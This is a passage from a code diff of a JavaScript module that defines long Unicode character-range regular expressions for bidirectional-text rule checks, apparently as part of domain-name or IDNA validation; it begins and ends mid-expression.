00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E2FF}\u{1E4EC}-\u{1E4EF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8D6}\u{1E900}-\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F10F}\u{1F12F}\u{1F16A}-\u{1F16F}\u{1F1AD}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DC}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F776}\u{1F77B}-\u{1F7D9}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}\u{1F8B1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA7C}\u{1FA80}-\u{1FA88}\u{1FA90}-\u{1FABD}\u{1FABF}-\u{1FAC5}\u{1FACE}-\u{1FADB}\u{1FAE0}-\u{1FAE8}\u{1FAF0}-\u{1FAF8}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBCA}\u{1FBF0}-\u{1FBF9}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*$/u; +const bidiS3 = /[0-9\xB2\xB3\xB9\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0600-\u0605\u0608\u060B\u060D\u061B-\u064A\u0660-\u0669\u066B-\u066F\u0671-\u06D5\u06DD\u06E5\u06E6\u06EE-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u08A0-\u08C9\u08E2\u200F\u2070\u2074-\u2079\u2080-\u2089\u2488-\u249B\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\u{102E1}-\u{102FB}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1D7CE}-\u{1D7FF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1F100}-\u{1F10A}\u{1FBF0}-\u{1FBF9}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10EFD}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}-\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{13440}\u{13447}-\u{13455}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u; const bidiS4EN = /[0-9\xB2\xB3\xB9\u06F0-\u06F9\u2070\u2074-\u2079\u2080-\u2089\u2488-\u249B\uFF10-\uFF19\u{102E1}-\u{102FB}\u{1D7CE}-\u{1D7FF}\u{1F100}-\u{1F10A}\u{1FBF0}-\u{1FBF9}]/u; const bidiS4AN = /[\u0600-\u0605\u0660-\u0669\u066B\u066C\u06DD\u0890\u0891\u08E2\u{10D30}-\u{10D39}\u{10E60}-\u{10E7E}]/u; -const bidiS5 = /^[\0-\x08\x0E-\x1B!-\x84\x86-\u0377\u037A-\u037F\u0384-\u038A\u038C\u038E-\u03A1\u03A3-\u052F\u0531-\u0556\u0559-\u058A\u058D-\u058F\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0606\u0607\u0609\u060A\u060C\u060E-\u061A\u064B-\u065F\u066A\u0670\u06D6-\u06DC\u06DE-\u06E4\u06E7-\u06ED\u06F0-\u06F9\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07F6-\u07F9\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09FE\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A76\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AF1\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B77\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BFA\u0C00-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3C-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C5D\u0C60-\u0C63\u0C66-\u0C6F\u0C77-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D00-\u0D0C\u0D0E-\u0D10\u0D12-\u0D44\u0D46-\u0D48\u0D4A-\u0D4F\u0D54-\u0D63\u0D66-\u0D7F\u0D81-\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E3A\u0E3F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F47\u0F49-\u0F6C\u0F71-\u0F97\u0F99-\u0FBC\u0FBE-\u0FCC\u0FCE-\u0FDA\u1000-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u137C\u1380-\u1399\u13A0-\u13F5\u13F8-\u13FD\u1400-\u167F\u1681-\u169C\u16A0-\u16F8\u1700-\u1715\u171F-\u1736\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17DD\u17E0-\u17E9\u17F0-\u17F9\u1800-\u1819\u1820-\u1878\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1940\u1944-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u19DE-\u1A1B\u1A1E-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1AB0-\u1ACE\u1B00-\u1B4C\u1B50-\u1B7E\u1B80-\u1BF3\u1BFC-\u1C37\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD0-\u1CFA\u1D00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FC4\u1FC6-\u1FD3\u1FD6-\u1FDB\u1FDD-\u1FEF\u1FF2-\u1FF4\u1FF6-\u1FFE\u200B-\u200E\u2010-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2071\u2074-\u208E\u2090-\u209C\u20A0-\u20C0\u20D0-\u20F0\u2100-\u218B\u2190-\u2426\u2440-\u244A\u2460-\u2B73\u2B76-\u2B95\u2B97-\u2CF3\u2CF9-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2E5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u303F\u3041-\u3096\u3099-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31E3\u31F0-\u321E\u3220-\uA48C\uA490-\uA4C6\uA4D0-\uA62B\uA640-\uA6F7\uA700-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA82C\uA830-\uA839\uA840-\uA877\uA880-\uA8C5\uA8CE-\uA8D9\uA8E0-\uA953\uA95F-\uA97C\uA980-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA5C-\uAAC2\uAADB-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB6B\uAB70-\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1E\uFB29\uFD3E-\uFD4F\uFDCF\uFDFD-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFEFF\uFF01-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}-\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1018E}\u{10190}-\u{1019C}\u{101A0}\u{101D0}-\u{101FD}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E0}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{1037A}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{1091F}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10B39}-\u{10B3F}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{1104D}\u{11052}-\u{11075}\u{1107F}-\u{110C2}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11100}-\u{11134}\u{11136}-\u{11147}\u{11150}-\u{11176}\u{11180}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1123E}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112EA}\u{112F0}-\u{112F9}\u{11300}-\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133B}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11400}-\u{1145B}\u{1145D}-\u{11461}\u{11480}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B5}\u{115B8}-\u{115DD}\u{11600}-\u{11644}\u{11650}-\u{11659}\u{11660}-\u{1166C}\u{11680}-\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{1171D}-\u{1172B}\u{11730}-\u{11746}\u{11800}-\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D7}\u{119DA}-\u{119E4}\u{11A00}-\u{11A47}\u{11A50}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C36}\u{11C38}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D47}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF8}\u{11FB0}\u{11FC0}-\u{11FF1}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1342E}\u{13430}-\u{13438}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF0}-\u{16AF5}\u{16B00}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F4F}-\u{16F87}\u{16F8F}-\u{16F9F}\u{16FE0}-\u{16FE4}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B150}-\u{1B152}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D1EA}\u{1D200}-\u{1D245}\u{1D2E0}-\u{1D2F3}\u{1D300}-\u{1D356}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D7CB}\u{1D7CE}-\u{1DA8B}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1DF00}-\u{1DF1E}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E100}-\u{1E12C}\u{1E130}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AE}\u{1E2C0}-\u{1E2F9}\u{1E2FF}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F1AD}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DD}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F773}\u{1F780}-\u{1F7D8}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}\u{1F8B1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA74}\u{1FA78}-\u{1FA7C}\u{1FA80}-\u{1FA86}\u{1FA90}-\u{1FAAC}\u{1FAB0}-\u{1FABA}\u{1FAC0}-\u{1FAC5}\u{1FAD0}-\u{1FAD9}\u{1FAE0}-\u{1FAE7}\u{1FAF0}-\u{1FAF6}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBCA}\u{1FBF0}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B738}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u